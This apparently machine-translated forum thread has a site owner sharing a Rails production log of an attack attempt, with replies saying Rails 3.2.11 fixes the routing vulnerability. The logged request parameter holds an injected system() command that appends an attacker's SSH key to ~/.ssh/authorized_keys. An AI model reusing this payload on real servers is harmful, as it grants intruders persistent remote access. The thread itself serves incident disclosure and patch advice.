Ruby on rails ActionDispatch:：发现路由漏洞，是否已修补？

几天前我在我的网站上注意到一些不寻常的活动，所以我决定查看生产日志。以下是我的发现：

Started GET "/" for 74.219.112.36 at 2013-01-11 20:25:05 +0000
Processing by HomeController#logo as */*
Parameters: {"exploit"=>#
<ActionDispatch::Routing::RouteSet::NamedRouteCollection:0xcb7e650 
@routes={:"foo; system('cd ~;mkdir .ssh;echo ssh-rsa 
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV
/l4+De+BBFg/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9p
DjKuymKEVbsJbOqrnNMXlUtxCefeGT1piY8Z/7tapLsr+GCXokhIcB2FPzq
TtOKhnJvzgA4eZSVZsVlxTwyFM= root >> ~/.ssh/authorized_keys')\n__END__\n"=>
#<OpenStruct defaults={:action=>"create", :controller=>"foos"}, 
required_parts=[], requirements={:action=>"create", :controller=>"foos"},
segment_keys=[:format]>}, @helpers=[:"hash_for_foo; system('cd ~;
mkdir .ssh;echo ssh-rsa 
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV
/l4+De+BBFg/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbs
JbOqrnNMXlUtxCefeGT1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlx
TwyFM= root >> ~/.ssh/authorized_keys')\n__END__\n_url", :"foo; 
system('cd ~;mkdir .ssh;echo ssh-rsa 
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV/l4+De+BBFg
/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbsJbOqrnNMXlUtxCefeG
T1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlxTwyFM= 
root >> ~/.ssh/authorized_keys')\n__END__\n_url", :"hash_for_foo; 
system('cd ~;mkdir .ssh;echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV/l4+De+BBFg
/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbsJbOqrnNMXlUt
xCefeGT1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlxTwyFM= root >>
~/.ssh/authorized_keys')\n__END__\n_path", :"foo; system('cd ~;mkdir .ssh;
echo ssh-rsa 
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV/l4+De+BBFg
/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbsJbOqrnNMXlUtxCefeG
T1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlxTwyFM= root >> 
~/.ssh/authorized_keys')\n__END__\n_path"], @module=#<Module:0xcb7e5c4>>}
Rendered landing_users/_form.html.haml (4.7ms)
Rendered home/logo.html.haml within layouts/application (7.8ms)
Completed 200 OK in 11ms (Views: 10.4ms | ActiveRecord: 0.0ms)

2013-01-11 20:25:05+0000时74.219.112.36的开始获取“/” 由HomeController处理#徽标为*/* 参数：{“利用漏洞”=>#

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提及此漏洞，但没有解决方案，只是如何执行。

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1月8日，Aaron Patterson宣布

如果您这样做了，您将看到它在Rails 3.2.11中是固定的

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立即更新你的应用程序！

哇，你吓了我一跳。